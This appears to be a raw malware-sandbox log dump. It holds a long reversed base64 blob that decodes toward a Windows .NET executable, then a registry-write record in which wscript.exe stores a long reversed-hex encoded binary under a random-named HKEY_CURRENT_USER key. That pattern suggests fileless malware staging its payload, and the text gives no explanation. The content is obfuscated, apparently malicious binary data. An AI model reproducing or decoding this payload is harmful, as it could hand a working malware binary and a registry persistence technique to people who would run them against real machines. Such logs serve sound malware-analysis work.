lJHaU5SblR3c5NFAlpXasFWa0lmbJ52TAUmepNFduVWasN0X0V2cAUGel5Sazl2cAUmdv1WZSBQZ2F2UAUWdsFmV5JHdzl2ZlJFdldEAlVHbhZFdldEAlVHbhZFdjVmai9EdldEAlVHbhZ1YpRXY0NFZhVmcoR1XtBQZ0lnQvRFAlRXdilmc0RXQ5RXaslmYpRXYw12bDVWbpRnb1JFAlRXdilmc0RXQ55WYw12bDlHbi1WZzNXQAUGd1JWayRHdBRHanlmc5B3bDlHbi1WZzNXQAUGd1JWayRHdBR3Y1R2byBVesJWblN3cBBQZ0VnYpJHd0F0cu9Wa0FGehxWZS52bpRXYslGct92QAUGd1JWayRHdB52bpRHcpJ3YzVGR5xmYtV2czFEAlRXdilmc0RXQu9Wa0NWZsx2bDBXdvJ3R51EAlRXdilmc0RXQu9WazJXZWVGbpZUesJWblN3cBBQZ0VnYpJHd0FkblRGZphkcld2Z1JWZEBQZ0VnYpJHd0F0ay92dl1WYyZEdldmchRFAlRXdilmc0RXQrJXYtVGZhJHV5xmYtV2czFEAlRXdilmc0RXQodWdvJHaUBXZ0Nlcld2Z1JWZEBQZ0VnYpJHd0FUZtFmTlxWdk9WTlRWaIBQZ0VnYpJHd0FUZsVHZv1EZyFGZuFGdTBQZ0VnYpJHd0FUZsRXaUlHbi1WZzNXQAUGd1JWayRHdBVGbil2cpZVbvNEAlRXdilmc0RXQlxmYhN3dvJnQy9GdpRWRAUGd1JWayRHdBVGbiF2ZnVnYlREAlRXdilmc0RXQlR2bDJXZzVlbv5kcld2Z1JWZEBQZ0VnYpJHd0FUZk92QkVGdhJXZuV2RAUGd1JWayRHdBRmcvdXeltEcsVGSAUGd1JWayRHdBRWa1dEAlRXdilmc0RXQkVGdhJXZuV2RyVmbnl2clREAlRXdilmc0RXQkVGdhJXZuV2RyVGbpBXbvNEAlRXdilmc0RXQkFWZyhGVBR1UAUGd1JWayRHdBNWa0FGdTRWYlJHaUBQZ0FGdTVGbiF2c39mcCJ3b0lGZFBQZzJXZ2VmUyR3UAU2cvB3cpREAlNXYCN3ZulGd0V2Uu9Wa0F2YpxGcwFEAlNXYC52bpRXYjlGbwBXQz1mcvZ0c39GZul2VAU2chJEZvhGdl1EAlJXd0xWdDV2YyV3bzVmcAUmc1RHb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
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb
Operation:writeName:r
Value:
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005345000000C00000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E397C626D656373716F2C3A0D0E3F666E6944737572747F2C30202A0D0E39747962757365637F2C302020202A0D0E337567656C69667962705465647375657175627F2C3020202020202A0D0E3F2225637C6166622D3373756363614965702222756B6F667E694371622D3C6566756C602C6566756C4E6F696475736568754465647375657175627C30202020202020202A0D0E3223367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870237567656C69667962705465647375657175627C3020202020202A0D0E39747962757365637C302020202A0D0E3222367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D68702F666E6944737572747C30202A0D0E3F222070716E2E6F69647163696C607071497D422D356D616E6022203E203E203E21322D3E6F696372756670297479647E656469497C626D656373716C30202A0D0E32203E21322D3E6F696372756654737566696E616D602221367E2D63716A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D6870297C626D656373716C3A0D0A0D0E3F32237569722D356E6F6C61646E6164737022283D264455522D376E69646F636E656022203E21322D3E6F6963727566702C6D687F3C3FBBBFE0000000000000000000010AE000038C70000000300E2000300E2000300E20013000000E600F6009600370027005600650002009700C6002600D600560037003700140010008000830000000300E2000300E2000300E20013000000E600F600960037002700560065004700360057004600F6002700050010008000430000001600000000005600D6001600E4004700360057004600F600270005001000200042000000560087005600E200160000005600D6001600E6005600C60096006400C6001600E6009600760096002700F40010006000430000000000000000003700B60027001600D60056004600160027004500C600160076005600C40010001000A20000005300230003002300020002009A0002004700860076009600270097000700F600340000004700860076009600270097000700F6003400C600160076005600C4001000210084000000560087005600E200160000005600D6001600E400C6001600E600270056004700E600940010006000C20000000300E2000300E2000300E200130000000000E600F600960037002700560065005600C600960064001000800003000000160000000000E600F6009600470007009600270036003700560044005600C6009600640010002000C20000000000000000005600D6001600E4009700E60016000700D600F600340010001000220000000000000037004700E6005600D600D600F600340010001000A1000000030026004300030003000300030003001000002081000000F6006600E60094005600C600960064007600E600960027004700350010000020C3400B00000000000000E600F600960047001600C6003700E60016002700450000004000420000000000F6006600E60094005600C600960064002700160065001000000044000000000000000000000000000000100000004000000000000000F30000000000100000000000000010000000100000EFFE40DB0000000000F4006400E4009400F500E400F40094003500250054006500F5003500650000004320CD0000000000000000000020CD00000809000030C6000000000010000000000000000000000000000008000086000000100010000000000000000000000000000000000008000000000010000000000000000000000000000008000083000000100010000000000000000000000000000008000005000000810800000200000001002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004020052FF0000000000C6C646E2565627F63637D600E69616D456875427F634F500000000000000000000000056430000000000000000000000000000000000000000000002000000562400000000000000000000568200264607E216C57657265644C5A626F6C516C516C537F6075627C556362757F637C5E696D64616C53727563755C5A334000000104F37E50CAE6B19F944C4D0343104E63E35443525000000000000000000000000000000010000000000000000000000000000648B0000468B00000084000000200000000048DAC3D1000000000000004B0544140544140500000000000000000000002047563556362757F637562556D69647E65725E23756362757F6375625E2D656473797353293830356433393136353365316737326D3E656B6F6459756B43696C626570502C2C61627475756E6D356275747C6573402C203E203E203E243D3E6F6963727566502C22696C627F63637D602C227564616562556362757F6375625E23756362757F6375625E2D65647379735C60000001900000010EBFEACEC0000004B0000003776E69647475635E297D4B000100100003756369667275635265675E297D4E0001031000037D627F664E297D4800010D0000027563755E297D4700010C00000E6F69647163696C6070714E297D4E000103100002756475707D6F634E297D4B0001001000000F5F55636E6164737E694F5F55637F60737964431F5F55636E6164737E694F5F556471656273421C6F636F647F6270547E65696C634074747840716F635E237C6F636F647F62705E23756369667275635E2265675E2D6564737973543001016000037D627F664E2473656A6F6270597D4E297D421F5F55636E6164737E694F5F55637F60737964431F5F55636E6164737E694F5F556471656273421D627F664E237D627F664E23777F646E69675E2D6564737973591001085000003E203E23313E273139027F647162756E6567456C6966456C676E696353776E69647475635E22756E676963756443776E69647475635E23727F647964654E2F69646574735C61657379665E24766F637F6273696D4B40010A5000003E203E203E2731380275646C696572456362757F6375625465607974597C676E6F6274735E237C6F6F645E23756362757F6375625E2D6564737973533001014000003E203E203E2131380564716C607D6564597D4A0001081000000000010001080000000000020001080000000104083E24302B627F67756D6162764024554E4E22156D616E49716C607379644B627F67756D616276441E045001083E24367D3E6F69637275665C2B627F67756D61627644554E4E2A1001094000003E203E203E213700010C00000333383237356166336637336D266433326D203366643D216466616D213530343835673264200109200005323032302029A2C0247867696279707F6342100107100000000105000001610001060000000001070001080103777F6278645E6F696470756368754E6F6E40716277561204500100010E10000000000800010800031008240022100824081210080409908210080505908210080500321008040C221008040D6210080408021008040C021008040DE08119E08215E0821C1204002D0022110100250022100024058082100025000E101101010037000E100E1101001702050D1E0E020400080818010004080808080818050008080818020005080018050D18081205000A080018080018081205000A080D18120200060C31101041101E08190208181E0E020A00011900000309081100040E0E0E020300060E050D110005081210000401A0821C110200070990821101000609908210000505908210000500321000040C221000040D6210000408021000040C021000040E0D11010005050D160309060201E082160408321603002216030972160309A08216040C1602020602081216030990821604059082160400321104321516070C221104321516070D6211043215160708021104321516070C02110432151607042E120A3A05D11F7F5F30B80980E439165C5A77B80003110A04000312000316030003110432151602000312070502000E1207050022110A040E010703058082110705080107030C1101002405B0821E0102002705B082100025000E110A04000E100100150C1C110200250C12010024000E120E02018082120202000E17070C080DB08211000608181202000508050D110005000E1109A18215100E1D1101001D05010A0308000E1109A18215100E1109A182151201001218050D160200060800000308050D180200060816020C1E0E0200050C1C1E0E0300060580821801000602020202020202050D18020808080802020202020202080808080808080D1E0C3110411200270622080203070509D08110002501E082110100060DD08219D0811E05D0821201D0821DC0821E0807041D8182110100260D81821000250981821000250E05818211000605B0821E05D08211D0821DC0821E0607001C1E0100040C10002305C082100025018182100025080D71821100260971821000250E05718111002605B0821209C08215C08215B08211C0821E0E0807041990821808190E0507090E0E0E0200250808050D150D1407080E0DB0821D1100070E02010024020E0E0803000609908210002509B0821000050E06020E02010004030E01000408030100240E0000030E0E0E0200050E0101000405B082120DB082180DB0821D120DB082180DB0821D15B082150D1202020209B082120E0E050D1E0E0E0E0E09170D2C1E0102002505B08211B08212030709020E01B08212002705B08211B0821E0E04070A010000030C1151811C1D418113000A05B08211010006080E0502000508080E0200250800002305010DA08215160E0E0100040E0D1E0E02000600031D1000250003110100250E0000230E0C1100240E0D1000240E01B0821100260E0E0E0E03000601B08216040E010DA082151605B0821808020E020C1E080E0D15010DA082151E0E0201B0821E010DA08215150D111703213181110100260808010200250D21811101002608121107040D118211010026081C1102002502001C110200060C1101000402020C120812150708020000230C1C1100040D01821D01821100080990821107050901821E010200270901821000250501811580821100080C1C120200050590821205908213070900321107040C221107040D62110704080211070400031000240C02110704003211043215160C2211043215160D621104321516080211043215160C0211043215160E0109521512010028020107030D7211010025010181110100260DF081110100260E0D110100250201010004020000030E0E0E0E010400270141110100250E0E0102002502010100240E010100240111110100250100002308010100240000357E7FC7B307DA9E4E3A5978C3A3B580000007600E600960086004700F600E4000200F6004700020047005600370002005600260002009700C600E600F6000200E60016003600020097004700270056000700F600270005740000E600F600960047000700560036008700540027005600E600E6009400560056003500F5003700D6002700F6006400E600960075530000560047001600560027003400D6002700F6006400560067009600370027005700360056002500F5003700D6002700F6006400E6009600759300002200D7000300B70022B00000D7001300B70002002200D7000300B700223110000200A30027005600960086003600960066000200570046000200E600F60096004700160027009E000700570036009E00270002001600C600020056004600020037002700F600C60002002700570056002700270054751000020047005700470016004700370002005600C60002009E00E60027005700F600470056002700020016000200270057005600670027005600370002005600C4000200A30027005700560027002700541500000200A30027005700560027002700541100004500540074700000970027004700E6005700F60036F00000F200C600D6008700F200070007001600E20037009600F6008600770007009600F200F200A3003700070047004700861300001600470016004400C600D60085F0000002300000C600C600560086003700270056007700F6000751000047003700F6008600E600F60034F00000470087004700E20096004400F600D400F200130053002300E20023009300E20013009300E200430043001300F200F200A300370007004700470086D3000056003600E6001600270064D00000270066500000C5005600470016004600070055005600760046005400C50047006600F6003700F600270036009600D400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C500A3750000C50093001300330003003300E2000300E20043006700C500B6002700F60077005600D600160027006400C50045005400E400E20047006600F6003700F600270036009600D400C5940000C5005300E20033006700C500B6002700F60077005600D600160027006400C50045005400E400E20047006600F6003700F600270036009600D400C5D30000250094004400E400940075D00000963000005300230003002300F20043000300F200130023000200C7000200230002005600070016004700549200002700F6002700270056B00000C53000100000C500E600E600F6004600C5D00000C500560027001600770047006600F600353100001300D6002700F60064B0000037005600360027005700F600370056002500E200277100000000009747275607F627053776E6964747563597D400974707D65427F4C6C657E43794009747962757365635E24756E4E2D65647379735009747962757365635E2D6564737973500974796C616571756E694F507F6009727473796765625009727F6D656D437375636F627055647962775009727F6D656D437375636F62705461656250097C626D656373714F5475676009756B49727473796765625009756B437E6961647E6F634009756B4265735E65607F4009716272714F6450097D4E2270087F6247637D400875436F6C6C614C61657472796650077F625164716440047875647E6F634461656278645475635436377F6750047875647E6F634461656278645475674436377F6750047875645F547563700478756E45667F6D40047375657175625265675074747840047275667E6F6340047E65627275734F54756760047E656E6F607D6F63456A796C616964796E6940047E656D6E6F6279667E6540047C65737562587F6247637D40047C6571666564476E696275646E656254787564556C62696471607D6F6344756350047C65716665644F54756760047968754E6F43776E6964747563597D456671635F54756370047968754E6F43776E6964747563597D456671635F54756760047563516471644004756E4E2D6564737973500473656A6F6270597D400473656A626F4B636F6C42756C646E616844656464616004716D627F66400471636E6F634003777F